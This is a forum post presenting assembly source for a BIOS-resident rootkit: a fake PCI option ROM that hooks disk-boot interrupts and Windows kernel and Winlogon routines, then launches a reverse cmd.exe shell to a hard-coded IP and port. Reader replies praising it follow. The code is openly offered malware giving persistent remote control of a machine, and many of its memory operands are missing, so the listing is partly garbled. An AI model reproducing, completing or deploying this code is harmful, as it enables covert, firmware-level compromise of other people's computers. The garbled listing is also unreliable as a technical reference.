BIOS中隐藏Telnet后门
创建时间:2009-03-19文章属性:原创
文章提交:cheng5103 (cheng_5103_at_126.com)
[项目简述]
该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门
在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连
接到指定的计算机接受CMD控制。
[关于作者]
姓名:成松林 QQ:179641795 Email:cheng_5103@126.com 本人对计算机的诸多技术都很
有兴趣,常喜欢学习国外的开源项目,很佩服国外的计算机技术及知识。本人学历:中专,专
业:计算机,年龄:25,工作:中专学业完成后留校工作。废话:本人家景很穷,所以大学都
未上成就工作,希望有志人士能教小弟赚钱。我文才很差,故文章中有语法及表达问题请大家
多多谅解。
[项目涉及的相关知识及技术标题]
1、实验环境配置问题。
2、刷新BIOS技术问题。
3、代码植入BIOS问题。
4、源代码的相关问题:
A、如何编写BIOS模块如:PCI、ISA。
B、实模式关于HOOK磁盘中断的问题。
C、磁盘中断中选择再次HOOK的问题。
D、NT保护模式下设置物理地址映射。
E、NT保护模式下线性地址寻址问题。
F、HOOK KeAddSystemServiceTable。
G、HOOK NtUserRegisterClassExWOW。
H、HOOK Winlogon SASWndProc过程。
I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。
5、源代码的其他技术:
A、IVThook InLineHookSSDT Hook
B、SEHPEPEBTIB
C、Hash SharedUserData CheckSum
6、......
文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.
以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!
调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装
win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.
586p ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门.
.Model Tiny ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.
;*****************************************************************************************************************************************ROM_IMAGE_SIZE equ 4 ;整个模块大小单位KB,固定大小4KB.
CSL_KERNEL_DEST equ 0FFDF0800h ;SharedUserData数据结构线性地址.
CSL_USER_BACKDOOR equ 07FFE0800h ;SharedUserData数据结构线性地址.
;*****************************************************************************************************************************************RealCode segment use16
Code16Start:
;***************************************************************************************************************************************** org 00h ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
dw 0AA55h ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
db ROM_IMAGE_SIZE*2 ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
jmp MyROMCodeStart ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
org 06h ;####注意:编译器根据偏移长度选择JMP命令####,****JMP长:003h****
ReturnOldROM: ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
db 0e9h,0,0 ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
db 'CHKSUM=',0 ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****
;***************************************************************************************************************************************** org 18h ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
dd 34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
;*****************************************************************************************************************************************MyROMCodeStart:
pushf
pushad
push es
push ds
sti ;打开中断,以便接收键盘输入.
mov cx,0ffffh ;等待,约为两二秒的按键消息.
call WaitPressScrollKey
.if !CARRY? ;若按下Scroll Lock键,不运行我们的程序.
;***************************************************************************************************************************************** xor ax,ax
mov es,ax
mov eax,es:
mov es:,eax ;借用中断向量84H,保存中断向量19H.
mov bx,es: ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
and bl,NOT 3 ;注意:要求分配的物理内存地址,以页作为基地址 .
sub bx,4
mov es:,bx
shl bx,(10-4) ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
mov es,bx
xor di,di ;es:di -> 分配的实模式高端内存前半部分开始处.
push cs
pop ds
call GetCurrentAddr ;offset Code16End = offset Code32Start
GetCurrentAddr:
pop si ;si->GetCurrentAddr在内存的地址
mov dx,si
add si,Code16End - GetCurrentAddr ;ds:si->Code16End保护模式代码段内存的地址.
cld
mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝保护模式代码数据到分配内存的前半部分.
rep movsd
add bx,100h
mov es,bx
xor di,di ;es:0->分配的实模式高端内存后半部分开始处.
mov si,dx
sub si,GetCurrentAddr - Code16Start ;ds:si->Code16Start实模式代码的内存的地址.
mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝实模式代码数据到分配内存的后半部分.
rep movsd
xor bx,bx
mov ds,bx
add dx,NewINT19H - GetCurrentAddr ;dx->NewINT19H内存的地址
mov ds:,dx
mov ds:[(19h*4) + 2],es ;设置成我们的INT19H服务代码
;***************************************************************************************************************************************** .endif
pop ds
pop es
popad
popf
;jmp ReturnOldROM ;跳转到原来的ROM代码的跳转处执行
retf
;*****************************************************************************************************************************************WaitPressScrollKey: ;函数入口:CX=350约为10ms, 函数延时: 33(us)
push ax
.repeat
in al,60h
.if al == 46h ;Scroll Lock键扫描码:46h
stc
pop ax
ret
.endif
in al,61h
test al,010h
.continue .if!ZERO?
.repeat
in al,61h
test al,10h
.until!ZERO?
dec cx
.until cx == 0
clc
pop ax
ret
;*****************************************************************************************************************************************NewINT19H:
pushf
;cli
push eax
push es
;jmp $ ;bochs调试1#.
xor ax,ax
mov es,ax
mov eax,es:
mov es:,eax ;恢复中断向量19H值.
mov eax,es:
.if es: != eax
mov es:,eax ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
mov word ptr es:,NewINT13H ;设置NewINT13H在内存的地址.
mov es:[(13h*4) + 2],cs ;设置成我们的INT13H服务代码
.endif
pop es
pop eax
popf ;恢复现场
int 84h ;调用旧的中断向量19H.
iret
;*****************************************************************************************************************************************PatchFunction_OverHookFunc: ;KeAddSystemServiceTable HOOK 问题处理.
pop esi ;esi->KeASSTHook 函数在内存的实际地址 .
mov ecx,PatchFunction_OverHookFunc - KeASSTHook ;ecx = KeASSTHook 代码的长度,准备移动 .
;处理代码中的寻址问题,将KeASSTHook代码.
lea edi, ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.
;jmp $ ;bochs调试5#,lb edi下一步运行在edi的值.
mov ebp, edi ;ebp用于后面HOOK时计算CALL rel 偏移用 .
rep movsb ;指令:edi->PatchFunction_OverHookFunc .
mov edx,0A21CD4EEh ;"KeAddSystemServiceTable",0->HASH值.
call PEApiHashFind ;在NTOSKRNL模块中查找该函数以便HOOK用..
;jmp $ ;bochs调试7#可以用到调试HOOK函数lb eax.
xchg esi,eax ;指令:esi->KeAddSystemServiceTable函数.
sub edi,PatchFunction_OverHookFunc - KEASSTHOOK_DISPLACED0
movsd ;InLine HOOK方式:保存被HOOK的代码数据 .
sub edi,KEASSTHOOK_DISPLACED0 + 4 - KEASSTHOOK_DISPLACED4
movsb
mov byte ptr ,0e8h ;E8h/xx/xx/xx/xx:CALL rel 相关地址指令.
sub ebp,esi ;调试例如:bochs调试5#edi lb 0x80400040.
mov dword ptr ,ebp ;call KeASSTHook,调试断点bochs调试5#处.
popad
popfd
;***************************************************************************************************************************************** ;模拟InLineHOOK NTLDR中的指令,并返回去.
mov esi,eax
test eax,eax
jnz short @F
pushfd
add dword ptr ,21h
popfd
@@:
ret
;*****************************************************************************************************************************************MyKeAddSystemServiceTable: ;bochs调试8#:开始是多任务JMP $断点很慢.
;首先关闭HOOK NTOSKRNL.EXE!KeAddSystemServiceTable
mov ebp,esp ;bochs调试8#:lb 0xffdf08a4 u /50查看.
mov edi, ;edi->KeAddSystemServiceTable 函数入口.
mov ecx,cr0
mov edx,ecx
and ecx,NOT 00010000h
mov cr0,ecx ;CR0.WP关闭页保护功能,以便对当前页修改.
pop eax ;恢复KeAddSystemServiceTable HOOK 数据.
stosd
pop eax
stosb
mov cr0,edx ;恢复 CR0.WP位到原来的状态 .
;***************************************************************************************************************************************** mov esi, ;esi->_W32pServiceTable 服务描述表.
mov ecx, ;ecx: 服务的数目.
mov edi, ;edi:_W32pArgumentTable 服务参数表.
;具体参看"SSDT HOOK教程" ,讲解如何HOOK.
.whileecx > 0 ;HOOK win32k!NtUserRegisterClassExWOW .
lodsd
.if byte ptr == 10h ;NtUserRegisterHotKey has 4 arguments .
mov edx,20h
.while edx > 0
.if byte ptr == 0f7h ;F7h/0: TEST mem, imm
mov ebx,4 ;search EAX+4..1 for bit mask of prohibited 'fsModifiers' flags
.while ebx > 0
.if dword ptr == 0FFFF7FF0h
inc edi
.while1 ;NtUserRegisterClassExWOW will have 6 or 7 arguments
sub esi,4
dec edi
.if byte ptr >= 18h
mov eax,
;bochs调试9#:JMP $指令断点,在多线程下很慢,尽量采用断点命令.lb 0xffdf08f7
mov edi,(CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW-Code32Start))
mov ,eax
mov ,edi
jmp @F
.endif
.endw
.endif
dec ebx
.endw
.endif
inc eax
dec edx
.endw
.endif
inc edi
dec ecx
.endw
@@:
;***************************************************************************************************************************************** popad ;恢复KeAddSystemServiceTable函数的现场.
ret ;返回KeAddSystemServiceTable函数去执行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW: ;win32k!NtUserRegisterClassExWOW HOOK .
pushad ;bochs调试10#:lb 0xffdf091e 调试9#获取.
;使用bochs调试命令:x esp u /50 eip.
xor eax,eax
push (CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW_SEH - Code32Start))
push dword ptr fs: ;在堆栈建立异常结构
mov dword ptr fs:,esp ;安装我们的异常处理,####调试发现安装的异常处理有时不能工作.####
;通过传来的参数检查类名是L"SAS window class" ,替换其'lpfnWndProc'过程,具体参看"win32应用程序窗口消息原理".
mov ebp,ds: ;EBP = MmHighestUserAddress
mov edx, ;edx->窗口类名,格式PUNICODE_STRING.
.if edx <= ebp
.if word ptr == 16*2 ;size of L"SAS window class" 检查字符数对不?
mov esi,
.if esi <= ebp
mov ecx,16 ;
mov edx,72ABEC2Dh ;72ABEC2Dh <-- HASH("SAS window class")
@@:
lodsw
sub edx,eax
ror edx,7
loop @B
.if edx == 0 ;替换窗口过程,前保存旧的过程在PEB中
mov esi,;esi->WNDCLASSEXW 类结构.
.if esi <= ebp
mov ecx,fs: ;ecx->用户TIB,线程信息块存放线程信息.
mov ecx, ;ecx-> PEB,进程环境块存放进程信息.
.if ecx <= ebp ;bochs调试11#:lb 0xffdf0971
mov eax,(CSL_USER_BACKDOOR + (MySASWndProc - Code32Start))
xchg dword ptr ,eax ;替换'lpfnWndProc'过程,为我们的过程.
mov ,eax ;PEB->0EB0h = 旧的'lpfnWndProc' (保存旧的SASWndProc)
.endif
.endif
.endif
.endif
.endif
.endif
;*****************************************************************************************************************************************NTURCEWOW_Done: ;bochs调试11#:lb 0xffdf097f
xor eax,eax
pop dword ptr fs: ;移除堆栈的异常结构
pop ecx ;移除我们的异常处理
popad
pushd 0
NTURCEWOW_ORIGINAL EQU $-4
ret ;返回NtUserRegisterClassExWOWHook执行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW_SEH: ;注意:安装异常参看"win32应用程序设计".
xor eax,eax ;lb 0xffdf098c 调试异常:兼容不很稳定 .
cdq ;CDQ常用于除法运算之前调整EDX值.作用只是把EDX的所有位都设成EAX最高位的值.
mov dl,0B8h
add edx, ;->Context.传过来的参数.
;Context->Eip
mov dword ptr ,(CSL_KERNEL_DEST + (NTURCEWOW_Done - Code32Start))
ret
;*****************************************************************************************************************************************MySASWndProc: ;bochs调试12#: 程序现已运行在应用层下.
;lb 0x7ffe099c
push eax ;eax:旧的SASWndProc地址,返回方法:popad ret.
pushad
xor eax,eax
mov edx,fs: ;ptr to PEB
mov eax, ;original SASWndProc address
mov ,eax
mov eax, ;get 'uMsg' argument
.if eax == 0001h ;WM_CREATE
mov eax, ;ptr to loader data
mov ecx, ;ptr to first module in initialization-order list
.repeat
mov ebx, ;module image base
mov esi, ;ptr to module file name
mov ecx, ;ptr to next module
lodsb
or al,20h
.untilal == 'k' ;assume KERNEL32.DLL will be first module starting with 'K'
;EBX = KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc
;mov edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))
push ebx ;ebx:dwThreadID变量使用堆栈.
push esp ;push addr dwThreadID
push 0
push 0
push (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))
push 0
push 0
mov edx,3f1764e5h ;hash("CreateThread")=3f1764e5h
call PEApiHashFind ;call edi 是否需要这样调用?
call eax ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID
pop ebx ;ebx:dwThreadID 去掉变量使用.
.endif
popad
ret ;invoke original SASWndProc
;*****************************************************************************************************************************************TelnetShell: ;可用于安装在win2k/xp/2003 反向连接Telnet后门应用程序.
xor eax,eax ;bochs调试14#:lb 0x7ffe09f0
mov edx,fs: ;ptr to PEB
mov eax, ;ptr to loader data
mov ecx, ;ptr to first module in initialization-order list
.repeat
mov ebx, ;module image base
mov esi, ;ptr to module file name
mov ecx, ;ptr to next module
lodsb
or al,20h
.untilal == 'k' ;assume KERNEL32.DLL will be first module starting with 'K'
;EBX = KERNEL32 image base
mov edi,ebx ;edi = kernel32基址 bochs调试15#:lb 0x7ffe0a05
TelnetShell_Strat:
mov ebp,esp ;bochs调试15#:lb 0x7ffe0a07
push 00003233h
push 5f325357h ;esp->"WS2_32"
push esp
mov edx,2e864192h ;Hash("LoadLibraryA")=2e864192h
call PEApiHashFind
call eax ;LoadLibraryA(&WS2_32DLL)返回EAX=装载DLL基址.
mov ebx,eax ;ebx=WS2_32基址
sub esp,1ech ;WSADATA struct
push esp ;esp->WSADATA struct
push 202h ;VersionRequested 0x202h
mov edx,0c05a351eh ;Hash("WSAStartup")=0c05a351eh
call PEApiHashFind
call eax ;WSAStartup(0x101, &WSADATA)
push 0
push 0
push 0
push 6 ;IPPROTO_TCP=6 IPPROTO_UDP=17
push 1 ;SOCK_STREAM=1 SOCK_DGRAM=2
push 2 ;AF_INET=2
mov edx,0ef3c1916h ;Hash("WSASocketA")=0ef3c1916h
call PEApiHashFind
call eax ;s=WSASocketA(2,1,6,0,0,0)
mov esi,eax ;esi=socket s
push 0265359dah ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)
push 0feff0002h ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)
;.repeat
mov edx,esp
push 10h ;sizeof(sockaddr_in)
push edx ;esp->sockaddr_in struct
push esi ;socket s
mov edx,5ddd8b01h ;Hash("connect")=5ddd8b01h
;mov ebx,edi ;ebx=kernel32基址
call PEApiHashFind
call eax ;IPPROTO_TCP c=connect(s, &address, sizeof(address))
;.untileax == 0 ;连接成功
mov ebx,edi ;ebx=kernel32基址
.if eax != 0
push 60000
mov edx,0cb9765ah ;Hash("Sleep")=0cb9765ah
call PEApiHashFind
call eax ;invoke Sleep,60000
mov esp,ebp
mov ebx,edi ;ebx=kernel32基址
jmp TelnetShell_Strat ;for another connection
;ret
.endif
push 646d63h ;winNT(cmd.exe)
mov edx,esp ;edx->file name
push esi ;STARTUPINFOA.hStdError
push esi ;STARTUPINFOA.hStdOutput
push esi ;STARTUPINFOA.hStdInput
push 0
push 0 ;wShowWindow cbReserved2
push 101h ;STARTUPINFO.dwFlags
mov ecx,0fh
@@:
push 0 ;STARTUPINFOA.cb ~ STARTUPINFOA.dwFillAttribute
loop @B
lea ecx, ;ecx->STARTUPINFOA.cb
mov dword ptr ,44h ;STARTUPINFOA.CB=44h(len STARTUPINFOA)
push esp ;esp->PROCESS_INFORMATION STRUCT(all 0)
push ecx ;ecx->STARTUPINFOA STRUCT
push 0
push 0
push 0
push 1
push 0
push 0
push edx
push 0
mov edx,4b5d35e6h ;Hash("CreateProcessA")=4b5d35e6h
call PEApiHashFind
call eax ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)
pop ecx ;PROCESS_INFORMATION.hProcess
push -1 ;time -1
push ecx
mov edx,8885abf2h ;Hash("WaitForSingleObject")=8885abf2h
call PEApiHashFind
call eax ;WaitForSingleObject(Handle, time)
mov esp,ebp
mov ebx,edi ;ebx=kernel32基址
jmp TelnetShell_Strat ;for another connection
;ret
;*****************************************************************************************************************************************PEApiHashFind: ;入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
xor eax,eax
pushad
mov ecx, ;ecx = RVA of PE header
mov ebp, ;ebp = RVA of export directory
add ebp,ebx ;ebp -> ptr to export directory
mov ecx, ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
mov edi, ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames
add edi,ebx
.whileecx > 0
dec ecx
mov esi,
add esi,ebx ;esi->API字符串在内存物理地址.
push edx
.repeat
lodsb
sub edx,eax
ror edx,7
.untileax == 0 ;字符结束
.if edx == 0
pop edx
.break
.endif
pop edx
.endw
.if ecx > 0
mov edx,
add edx,ebx ;AddressofOrdinals
mov cx,
mov eax,
add eax,ebx ;AddressOfFunctions
add ebx,
mov , ebx ;overwrite saved EAX with ptr to export
.endif
popad
ret
;*****************************************************************************************************************************************Code32End: ;感谢: eEye RootKit RomOS开源项目,国外的技术我们永远学不完.
ProtectCode ends ;有不正确的地方,成松林很高兴各位指出这样我才会学到更多知识.
end Code16Start 真正的好东西,稍加完善,就是利器哈 头大了 怎么办 看的晕晕乎乎的, 求视频 具体如何使用 很强悍,膜拜下,思考更牛掰呐 强人呀:D:D:D 我晕,有没有更详细点的说明。。
太强大了 又学到东西了, 好的资源/////// 真是难得给力的帖子啊。 无回帖,不论坛,这才是人道。 强烈支持楼主ing…… 谢谢楼主分享! 高手呀,膜拜
页:
[1]